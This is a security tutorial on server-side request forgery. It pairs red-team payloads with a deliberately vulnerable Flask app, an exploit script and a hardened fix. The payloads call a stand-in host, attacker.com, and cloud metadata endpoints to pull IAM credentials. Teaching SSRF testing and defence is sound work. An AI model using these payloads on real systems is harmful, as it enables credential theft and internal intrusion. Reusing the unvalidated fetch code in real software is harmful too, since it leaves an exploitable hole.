Understanding SSRF (Server-Side Request Forgery) Attacks

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to trick a server into making HTTP requests to unintended locations.
Unlike traditional vulnerabilities, SSRF abuses the trust a server has in its own environment, internal network, or external services. This can lead to data exfiltration, internal service discovery, cloud metadata access, or even remote code execution.

How SSRF Works?

Many web applications allow users to supply a URL that the server fetches. For example:

  • Image upload where the server downloads an image from a given URL
  • Webhooks that fetch external data
  • PDF converters or preview generators

If the application doesn't properly validate the supplied URL, an attacker can manipulate it to force the server into sending requests to arbitrary endpoints.


Red Team Perspective: Exploiting SSRF

Here's a typical red team workflow for exploiting SSRF:

1. Identify User Input that Triggers Server Requests

Example: An image fetch API:

POST /fetch
Content-Type: application/json
 
{
  "url": "http://example.com/image.png"
}

2. Test with a Controlled URL

Supply your own server’s endpoint:

{
  "url": "http://attacker.com/test"
}

If the server makes a request, you've confirmed SSRF.

3. Probe the Internal Network

Try accessing internal services:

{
  "url": "http://127.0.0.1:22"
}

If it responds differently, the SSRF allows scanning the internal network.

4. Exploit Cloud Metadata Services

On AWS:

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

This may return IAM credentials.

On GCP:

{
  "url": "http://metadata.google.internal/computeMetadata/v1/instance/"
}

5. Advanced Payloads

Sometimes, URL parsers can be tricked:

{
  "url": "http://localhost:80@attacker.com/"
}

Here, the server may interpret it as localhost.


Blue Team Perspective: Defending Against SSRF

ActionDescription
Input Validation & Allowlisting- Only allow requests to trusted domains or specific URLs.
- Reject any user-supplied schemes other than https.
Network Segmentation- Block the server from accessing internal networks unless required.
- Use firewall rules to restrict outbound connections.
Metadata Protection- Disable direct access to cloud metadata endpoints when possible.
-Use instance metadata service v2 (IMDSv2) in AWS.
Use SSRF Mitigations in Frameworks- Many modern frameworks and proxies provide SSRF protection (e.g., OpenRewrite filters, custom validators).
Monitoring & Detection- Log all outbound requests from web servers.
- Alert on suspicious requests to internal or unexpected IP ranges.

SSRF Practical Demo: Vulnerable App + Exploit

This section provides a hands-on demo for understanding SSRF.
We'll create a vulnerable Flask application and then write a Python exploit script to abuse it.

Vulnerable Flask Application (for Testing Only!)

The following code represents a deliberately vulnerable app.
⚠️ Do not deploy this in production environments! Use only in controlled labs.

# vulnerable_app.py
from flask import Flask, request, jsonify
import requests
 
app = Flask(__name__)
 
@app.route("/fetch", methods=["POST"])
def fetch_url():
    data = request.get_json()
    url = data.get("url")
    try:
        # VULNERABLE: No validation of user-supplied URL
        resp = requests.get(url, timeout=3)
        return jsonify({
            "status": "success",
            "content": resp.text[:200]  # returning partial response for demo
        })
    except Exception as e:
        return jsonify({"status": "error", "error": str(e)}), 500
 
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

Run it:

python3 vulnerable_app.py

The app listens on port 5000 and exposes /fetch.


Exploiting the Vulnerable App

Now let's exploit it step by step.

1. Send a benign request

# exploit.py
import requests
 
target = "http://127.0.0.1:5000/fetch"
 
# benign test
r = requests.post(target, json={"url": "http://example.com"})
print("Benign request:\n", r.json())

This confirms that the server is fetching external resources.


2. Access localhost services

# Try hitting internal services
r = requests.post(target, json={"url": "http://127.0.0.1:22"})
print("Internal service probe:\n", r.json())

If you see an error message like "connection refused", it means the server tried to connect.


3. Extract cloud metadata

For AWS:

r = requests.post(target, json={"url": "http://169.254.169.254/latest/meta-data/"})
print("Metadata response:\n", r.json())

For GCP:

r = requests.post(target, json={
    "url": "http://metadata.google.internal/computeMetadata/v1/instance/"
}, headers={"Metadata-Flavor": "Google"})
print("GCP metadata response:\n", r.json())

Blue Team Fix: Secure Version

Here's a hardened version of the Flask app:

# secure_app.py
from flask import Flask, request, jsonify
import requests
from urllib.parse import urlparse
 
app = Flask(__name__)
 
ALLOWED_DOMAINS = ["example.com", "trusted-api.com"]
 
def is_safe_url(url):
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ["http", "https"]:
            return False
        domain = parsed.hostname
        return domain in ALLOWED_DOMAINS
    except:
        return False
 
@app.route("/fetch", methods=["POST"])
def fetch_url():
    data = request.get_json()
    url = data.get("url")
    if not is_safe_url(url):
        return jsonify({"status": "error", "error": "Invalid or blocked URL"}), 400
    try:
        resp = requests.get(url, timeout=3)
        return jsonify({
            "status": "success",
            "content": resp.text[:200]
        })
    except Exception as e:
        return jsonify({"status": "error", "error": str(e)}), 500
 
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

This version:

  • Only allows http/https schemes
  • Restricts requests to trusted domains
  • Rejects anything else

Conclusion

This article shows:

  • How easy it is to introduce SSRF with naive code
  • How an attacker can escalate from external fetches → internal probes → cloud metadata theft
  • How defensive coding can prevent exploitation

SSRF is a critical vulnerability that often leads to internal network compromise and cloud environment exposure. By following the red team process, security testers can identify risks, while blue team best practices significantly reduce the attack surface.

SSRF is a reminder that servers should never blindly trust user-supplied input when making requests.


***
Note on Content Creation: This article was developed with the assistance of generative AI like Gemini or ChatGPT. While all public AI strives for accuracy and comprehensive coverage, all content is reviewed and edited by human experts at IsoSecu to ensure factual correctness, relevance, and adherence to our editorial standards.